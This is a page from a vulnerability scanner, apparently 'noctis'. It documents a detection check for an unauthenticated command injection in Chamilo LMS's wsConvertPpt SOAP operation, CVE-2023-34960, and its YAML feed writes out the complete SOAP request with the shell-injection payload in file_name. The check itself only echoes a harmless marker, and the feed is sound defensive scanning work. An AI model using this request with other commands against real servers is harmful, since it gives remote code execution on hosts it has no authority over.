Chamilo — 1 vulnerability check

noctis ships 1 vulnerability check for Chamilo, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Chamilo LMS wsConvertPpt SOAP Command Injection

CVECVE-2023-34960
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/chamilo/CVE-2023-34960.yaml

Tests Chamilo LMS for unauthenticated command injection in the wsConvertPpt SOAP operation. The file_name parameter is passed unsanitised to a shell command. Injecting shell metacharacters causes arbitrary OS command execution as www-data. The injected command prints NOCTIS followed by the sum of two random numbers computed by the server shell; finding that exact sum (never sent in the request) in the SOAP reply confirms execution. Affected versions: 1.11.x through 1.11.18.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /main/webservices/additional_webservices.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks soap_resp.body for NOCTIS[0-9]{7} → finding QoD 97: SOAP wsConvertPpt file_name injection `echo NOCTIS$((…+…))` returned the shell-computed marker … at …:…

References:

Feed source — tests/vulnerabilities/chamilo/CVE-2023-34960.yaml
uid: 65059daa-bd01-48e5-b013-f9af111d6b15
name: "Chamilo LMS wsConvertPpt SOAP Command Injection (CVE-2023-34960)"
description: |
  Tests Chamilo LMS for unauthenticated command injection in the wsConvertPpt SOAP
  operation. The file_name parameter is passed unsanitised to a shell command.
  Injecting shell metacharacters causes arbitrary OS command execution as www-data.
  The injected command prints NOCTIS followed by the sum of two random numbers
  computed by the server shell; finding that exact sum (never sent in the request)
  in the SOAP reply confirms execution. Affected versions: 1.11.x through 1.11.18.
cves: [CVE-2023-34960]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [chamilo, lms, soap, rce, command-injection]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-34960"
  - "https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution"
  - "https://github.com/Aituglo/CVE-2023-34960"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-34960.yaml"

steps:
  # POST SOAP request with command injection in file_name parameter.
  # wsConvertPpt builds `java ... "<tmp>/<file_name>" ...` and exec()s it; the
  # output lines come back serialized in the SOAP <return>.
  # Injection: `{}`.pptx'|" |echo NOCTIS$((A+B))||a #
  # The pipe makes echo the pipeline's last command (exit 0, so the output is
  # returned); $((A+B)) is outside the double quotes and expanded by sh.
  # Only the shell-computed sum proves execution: a reply that echoes the
  # request (or serves /etc/passwd everywhere) cannot contain it.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }

  - id: init
    action: set_var
    var_name: soap_resp
    var_value: {status: 0, body: ""}

  - id: soap-probe
    action: http_request
    method: POST
    path: "/main/webservices/additional_webservices.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "text/xml; charset=utf-8"
      SOAPAction: '""'
    body: |
      <?xml version="1.0" encoding="UTF-8"?>
      <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{scheme}}://{{target_host}}:{{port}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <SOAP-ENV:Body>
          <ns1:wsConvertPpt>
            <param0 xsi:type="ns2:Map">
              <item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item>
              <item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |echo NOCTIS$(({{p.a}}+{{p.b}}))||a #</value></item>
              <item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item>
            </param0>
          </ns1:wsConvertPpt>
        </SOAP-ENV:Body>
      </SOAP-ENV:Envelope>
    store_as: soap_resp

  - id: check
    action: script
    store_as: hit
    code: |
      soap_resp.status == 200 && type_of(soap_resp.body) == "string" && stridx(soap_resp.body, p.marker) >= 0

  - id: rce-match
    action: match
    source: soap_resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "SOAP wsConvertPpt file_name injection `echo NOCTIS$(({{p.a}}+{{p.b}}))` returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

View these feeds on GitHub